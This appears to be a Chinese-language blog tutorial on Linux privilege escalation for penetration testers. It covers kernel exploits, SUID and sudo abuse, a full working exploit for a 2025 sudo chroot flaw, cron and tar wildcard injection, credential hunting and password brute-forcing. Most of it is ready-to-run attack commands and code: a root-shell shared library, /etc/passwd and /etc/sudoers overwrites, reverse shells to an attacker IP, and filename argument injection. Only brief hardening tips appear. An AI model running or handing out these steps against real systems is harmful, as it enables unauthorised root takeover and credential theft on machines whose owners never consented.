24人参与 • 2026-07-31 • Linux
在渗透测试中,拿到一个 webshell 或低权限 shell 只是第一步,真正的目标是获取目标主机的最高权限。
本文基于实战角度,详细讲解以下 6 种最经典的 linux 提权方法:
linux 内核是操作系统的核心,负责管理硬件资源、进程调度、内存管理等。由于 linux 内核是开源项目,拥有近百万次 commit、超过 5000 名开发者,代码修改频繁,难免存在漏洞。
内核漏洞提权的原理:利用 linux 内核中存在的安全漏洞,执行具有高权限的任意代码,从而将普通用户权限提升至 root。
拿到目标 shell 后,首先需要确认系统的发行版本和内核版本:
# 查看发行版本 lsb_release -a # 如果系统不支持 lsb_release,使用以下命令 cat /etc/os-release # 查看内核版本(最关键) uname -r # 查看更详细的信息 uname -a # 检查用户命名空间是否启用(某些 exploit 需要) cat /proc/sys/kernel/unprivileged_userns_clone # 返回 1 表示启用,0 表示禁用
有了版本号之后,去 exploit-db 搜索对应版本的内核漏洞。
搜索技巧:
privilege kernel 2.6 ubuntulocal、platform 为 linux如果你使用的是 kali linux,也可以用命令行工具 searchsploit:
searchsploit privilege | grep -i linux | grep -i kernel | grep -i 2.6
大多数情况下,靶机无法连接外网,所以需要先将 exp 下载到攻击机,再上传到靶机:
# 在攻击机上下载 exp(注意 exploit-db 的下载链接格式可能会变) wget https://www.exploit-db.com/download/8572 -o /tmp/exploit.c # 攻击机搭建 http 服务 cd /tmp python3 -m http.server 8000 # 靶机下载 exp wget 192.168.122.1:8000/exploit.c -p /tmp # 编译 exp(需要 gcc) cd /tmp gcc exploit.c -o exploit # 执行 exp ./exploit
如果靶机没有 gcc,可以在攻击机编译好后上传:gcc -static exploit.c -o exploit
以下是近年来影响广泛的内核提权漏洞(截至 2026 年):
| cve 编号 | 影响范围 | 说明 |
|---|---|---|
| cve-2024-1086 | 内核 v3.15~v6.8 | netfilter nf_tables 双重释放漏洞,已被勒索软件利用,99.4% 成功率 |
| cve-2026-46333 | 各主流发行版 | ptrace 路径下的本地 root 提权 + 凭据泄露,可直接读取 /etc/shadow |
| cve-2021-4034 | pkexec 本地提权 | 几乎影响所有主流发行版,利用极为稳定 |
内核漏洞利用可能导致系统崩溃,请优先尝试其他方法
并非每个 cve 对应的 exp 都能直接成功,遇到失败可以:
内核漏洞利用需要一定的耐心,可能需要多次尝试
现代 linux 有 kaslr、smep、smap 等内核防护机制,exp 可能需要绕过这些缓解措施,成功率不如从前
这是一个根据内核版本自动查找可利用漏洞的脚本:
# 下载 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh # 执行 ./linux-exploit-suggester.sh # 如果靶机 bash 版本过低,可以手动指定内核信息 ./linux-exploit-suggester.sh -u "$(uname -a)"
结果中的 exposure 分级:
一般优先尝试 highly probable 和 probable 级别的漏洞。
suid是 linux 中的一种特殊权限位。当一个可执行文件设置了 suid 位时,任何用户执行该文件,都会以文件所有者(通常是 root)的权限运行。
我们以 ping 命令为例:
ls -alh /bin/ping # 输出中会看到: -rwsr-xr-x 注意这个 's' 就是 suid 标志
ping 需要发送 raw socket,通过 suid 位,普通用户也能使用 ping 命令。
提权的核心思路:如果某个设置了 suid 位的文件(所有者是 root)具有执行系统命令或修改文件的功能,我们就可以利用它来提权。
拿到 shell 后的第一件事就是找哪些文件有 suid 位:
# 三种等价写法
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
适用条件:nmap 版本在 2.02 ~ 5.21 之间,且设置了 suid 位
# 查看版本 nmap --version # 进入交互模式 nmap --interactive # 在交互模式中执行 shell !sh
此时获取的 shell 是 root 权限,因为 nmap 以 root 所有者身份运行。
适用条件:find 命令设置了 suid 位
# find 的 -exec 参数可以执行任意命令 find <任意文件> -exec <命令> \; # 提权到 root shell(-p 参数必须加) find test -exec /bin/bash -p \;
为什么必须加 -p? 不加 -p 时,bash 会检测到有效 uid 和真实 uid 不一致,自动将权限降回真实 uid。-p 参数告诉 bash 不要降权,保持 suid 赋予的特权。
适用条件:cp 命令设置了 suid 位
思路:利用 cp 的 root 权限覆盖 /etc/passwd 文件,添加一个 uid=0 的用户。
# 1. 先复制一份 passwd 文件 cat /etc/passwd > ~/passwd # 2. 生成密码哈希 openssl passwd -1 -salt ignite pass123 # 输出: $1$ignite$3etbjm98o9hz.k1ntdnxe1 # 3. 构造新用户行并追加(uid=0 表示 root 权限) echo 'hacked:$1$ignite$3etbjm98o9hz.k1ntdnxe1:0:0:root:/root:/bin/bash' >> ~/passwd # 4. 利用 suid cp 覆盖 /etc/passwd cp ~/passwd /etc/passwd # 5. 切换用户,密码 pass123 su hacked # 此时已是 root 权限!
mv 命令的提权方法与 cp 类似,不再赘述。
补充:利用 cp 的 suid 覆盖 /etc/sudoers
除了覆盖 /etc/passwd,也可以直接修改 sudo 配置让自己获得完全的 sudo 权限:
# 1. 备份当前 sudoers cp /etc/sudoers /tmp/sudoers.bak # 2. 添加免密 sudo 权限 echo "$(whoami) all=(all) nopasswd:all" >> /tmp/sudoers.bak # 3. 利用 suid cp 覆盖 cp /tmp/sudoers.bak /etc/sudoers # 4. 现在可以无需密码使用 sudo sudo bash
| 命令 | 利用方式 |
|---|---|
| vim | vim -c '!sh' |
| less | 打开文件后输入 !/bin/bash |
| more | term= more /etc/profile → 输入 !/bin/bash |
| php | php -r "pcntl_exec('/bin/sh', ['-p']);" |
| python | python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
| awk | awk 'begin {system("/bin/sh")}' |
| sed | sed -n '1e exec bash -p' /etc/passwd |
推荐资源:gtfobins 收录了 478+ 个 unix 二进制文件的提权方法,覆盖 suid、sudo、capabilities 等多种场景。实战中查到可疑的 suid 文件后,直接上 gtfobins 搜命令名即可看到对应提权方法。
chmod u-s <文件路径>sudo 而非 suid 来管理特权操作mount -o nosuid 挂载不需要 suid 的分区sudo(super user do)的作用是让当前用户以 root 或其他用户的身份执行命令。与 suid 不同,sudo 的权限由 /etc/sudoers 配置文件精确控制。
提权的核心思路:如果 /etc/sudoers 配置不当,允许我们以 root 权限执行某些命令,而这些命令恰好能用来获取 shell,就能直接提权。
拿到 shell 后第一件事:
sudo -l
这条命令会显示当前用户能执行哪些 sudo 命令。看到输出后重点关注两样东西:
这是最常见也是最容易利用的配置错误。
假设 sudo -l 输出:
(root) nopasswd: /usr/bin/find
意为当前用户可以无需密码,以 root 权限执行 find 命令。
利用方法——和 suid 提权的思路完全一样:
# find
sudo find /home -exec /bin/bash \;
# 如果允许执行 vim
sudo vim -c '!sh'
# less
sudo less /etc/passwd
# 然后输入 !/bin/bash
# awk
sudo awk 'begin {system("/bin/bash")}'
# man
sudo man man
# 然后输入 !/bin/bash
万能查询:任何可以通过 sudo 执行的命令,都可以去 gtfobins 搜一下,看有没有对应的提权方法。
假设 sudo -l 输出:
(root) nopasswd: /bin/less /var/log/messages
注意 /bin/less 和 /var/log/messages 之间没有逗号,说明这是一条完整的命令,参数被写死了。
利用方法——某些命令即使参数固定,也可以用内部命令逃逸:
sudo less /var/log/messages # 在 less 界面中输入: !/bin/bash
同样的技巧也适用于 more、man、vim 等可以执行内部命令的程序。
这是近年来最严重的 sudo 漏洞之一,于 2025 年披露,影响范围极广。
| 项目 | 内容 |
|---|---|
| cve | cve-2025-32463 |
| 影响组件 | sudo |
| 影响版本 | sudo 1.9.14 ~ 1.9.17 |
| 修复版本 | sudo 1.9.17p1 |
| cvss | 9.3 |
| 发现者 | rich mirch (stratascale) |
漏洞原理:
sudo 从 1.9.14 版本开始引入了 --chroot(-r)选项,允许在执行命令前切换根目录。但在实现中,sudo 没有正确清理 chroot 环境中的权限。攻击者可以在自己控制的目录中构建一个恶意的 nsswitch.conf 文件,指向一个恶意的共享库(.so)。当 sudo 以 root 权限加载 nss(名称服务切换)库时,恶意代码被执行,直接获得 root shell。
利用步骤:
# 1. 检查 sudo 版本
sudo --version
# 如果是 1.9.14 ~ 1.9.17 之间,则存在漏洞
# 2. 创建恶意共享库 exploit.c
cat > /tmp/exploit.c << 'eof'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", null);
}
eof
# 3. 编译
gcc -shared -o /tmp/exploit.so -fpic /tmp/exploit.c
# 4. 创建恶意 chroot 环境
mkdir -p /tmp/chroot/etc
mkdir -p /tmp/chroot/lib/x86_64-linux-gnu
mkdir -p /tmp/chroot/usr/lib/x86_64-linux-gnu
# 5. 创建恶意的 nsswitch.conf,让 sudo 加载我们的 so
echo "passwd: files exploit" > /tmp/chroot/etc/nsswitch.conf
echo "group: files exploit" >> /tmp/chroot/etc/nsswitch.conf
echo "shadow: files exploit" >> /tmp/chroot/etc/nsswitch.conf
# 6. 复制必要的库文件(视系统架构而定)
cp /lib/x86_64-linux-gnu/{libc.so.6,libnss_files.so.2,ld-linux-x86-64.so.2} /tmp/chroot/lib/x86_64-linux-gnu/ 2>/dev/null
cp /usr/lib/x86_64-linux-gnu/libnss_files.so.2 /tmp/chroot/usr/lib/x86_64-linux-gnu/ 2>/dev/null
# 7. 将恶意 so 放置在 nss 搜索路径中
cp /tmp/exploit.so /tmp/chroot/lib/x86_64-linux-gnu/libnss_exploit.so.2
# 8. 触发漏洞
sudo -r /tmp/chroot id
# 成功则直接获得 root shell
更多 poc 参考:
sudo apt update && sudo apt upgrade sudosudo -u 而不是直接给 all-r 选项sudo -l 的输出,检查是否有异常的 sudo 权限cron jobs 是 linux 系统中的定时任务,用于周期性执行命令或脚本(如备份数据、清理缓存等)。如果定时任务以 root 权限运行,且脚本文件或相关目录权限配置不当,就可能被攻击者利用来提权。
cat /etc/crontab # 系统级定时任务 crontab -l # 当前用户的定时任务 ls -la /etc/cron.* # 查看 cron 目录下的脚本
场景:定时任务以 root 权限执行某个脚本,但该脚本对其他用户可写。
假设 /etc/crontab 中有如下配置:
* * * * * root python /home/shiyanlou/cleanup.py
查看脚本权限,发现其他用户有 w(写入)权限:
ls -al /home/shiyanlou/cleanup.py # -rw-rw-rw- 说明其他用户可写
利用方法一:反弹 root shell
修改 cleanup.py 的内容:
# 反弹 shell 到攻击机
import os
os.system('nc 192.168.1.100 4444 -e /bin/bash')
攻击机监听:
nc -lnvp 4444
等待定时任务执行,即可接收到 root 权限的 shell。
利用方法二:添加 suid
修改 cleanup.py 的内容,给 bash 添加 suid 位:
import os
os.system('chmod +s /bin/bash')
等待执行后:
/bin/bash -p # 获得 root shell
场景:定时任务使用 tar 命令打包目录,且打包目录对当前用户可写。
假设 crontab 中有:
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
原理:linux shell 会将 - 开头的文件名解释为命令参数。tar 命令有 --checkpoint 和 --checkpoint-action 参数,可以在打包时执行任意命令。
利用步骤:
# 进入可写的打包目录 cd /var/www/html/ # 1. 创建反弹 shell 脚本 echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh # 2. 创建 checkpoint 触发文件(文件名就是 tar 的参数) echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
当 cron 执行 tar 命令时,实际执行的命令变成了:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html ...
--checkpoint=1:每处理 1 个文件触发一次检查点--checkpoint-action=exec=sh shell.sh:触发时执行 shell.sh这样就会执行我们的反弹 shell 脚本,获取 root 权限。
两个限制条件:
/var/www/html/*,只能用 /var/www/html/)700(仅所有者可读写执行)*/etc/crontab 和各 cron 目录下的脚本这一方法的本质是 寻找服务器上的认证信息 + 密码复用。管理员经常在不同服务中使用相同或相似的密码,如果能从 web 配置文件、数据库或 bash 历史中找到密码,很可能就直接登录 root 了。
重点关注 /var/www 目录下的配置文件:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
如果目标使用了 cms(wordpress、drupal、joomla 等),查一下该 cms 的默认配置文件路径。例如 wordpress 的数据库配置在 wp-config.php:
more /var/www/wordpress/wp-config.php
# 可能会找到 mysql 连接信息:
# define('db_user', 'root');
# define('db_password', 'cd8m2m8fmidhu4m1');
利用思路:
# 登录 mysql mysql -u root -p -h 127.0.0.1 # 在数据库中查找用户表 show databases; use <数据库名>; show tables; select * from <用户表>;
找到的密码可能和系统 root 密码相同(密码复用)。
cat ~/.bash_history cat ~/.bashrc cat ~/.bash_profile
历史命令中可能泄露密码:
# 例如发现这条记录: echo tomcat-syl:09fmwnfs7n | chpasswd # 表示管理员修改了 tomcat-syl 的密码为 09fmwnfs7n # 尝试 sudo sudo whoami # 输入密码 09fmwnfs7n
find /var /etc /home /root /tmp -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" -o -name "*.bk" \) 2>/dev/null
备份文件中经常包含 ssh 密钥、数据库密码、配置文件等敏感信息。
如果找到 mysql root 密码,且 mysql 以 root 权限运行,可以尝试 udf 提权。
条件:
udf(user defined function)是 mysql 的共享库机制,可以创建执行系统命令的函数(如 sys_exec、sys_eval),从而执行系统命令。
history -c当你试遍了所有其他方法都无法提权时,暴.力破.解可能是最后的选择。主要有两种途径:
su 命令爆破 root 密码su 命令需要从 tty shell 获取输入,普通的 shell 脚本无法完成自动化爆破。sucrack 是用 c 语言编写的多线程工具,专门用于通过 su 爆破本地用户密码。
安装 sucrack:
# 方法一:apt 安装(靶机能联网时) sudo apt install sucrack # 方法二:下载源码编译 # 下载地址:https://leidecker.info/projects/sucrack.shtml # 方法三:在攻击机编译后上传到靶机
使用示例:
# 基本用法:默认爆破 root 密码 sucrack -w 20 wordlists.txt # 指定用户 sucrack -u myuser -w 20 wordlists.txt
参数说明:
-w:指定线程数(建议 20 左右)-u:指定要爆破的用户(默认 root)wordlists.txt:密码字典文件成功后会显示破解出的密码,然后使用 su root 切换即可。
前置检查:只有 ssh 配置允许 root 登录时才有意义
cat /etc/ssh/sshd_config | grep -i permitrootlogin # 必须是 yes 才能尝试
hydra 爆破 ssh:
# 基本语法(传统格式) hydra -l root -p passwords.txt -t 4 -v <目标ip> ssh # 或者使用 uri 格式(推荐) hydra ssh://<目标ip>:22 -l root -p passwords.txt -t 4
参数说明:
-l:指定用户名(这里是 root)-p:指定密码字典-t:线程数(ssh 建议设置为 4,默认 16 已经偏大,不要使用 -t 64)-v:显示详细的破解进度-o:将结果保存到文件注意事项:
-t 4,过大反而容易被 ban 或导致误报/var/log/auth.log 中留下大量失败记录permitrootlogin no拿到 shell 后,按照以下顺序快速排查:
1. sudo -l # 看 sudo 权限(含 cve-2025-32463 检测) 2. find / -perm -4000 2>/dev/null # 看 suid 3. cat /etc/crontab # 看定时任务 4. find /var/www -name "*.php" -o -name "*.config" # 找敏感文件 5. cat ~/.bash_history # 看历史命令 6. cat /etc/shadow 2>/dev/null # 检查 shadow 权限 7. uname -r 然后找内核漏洞 # 最后手段
以上为个人经验,希望能给大家一个参考,也希望大家多多支持代码网。
您想发表意见!!点此发布评论
版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。
发表评论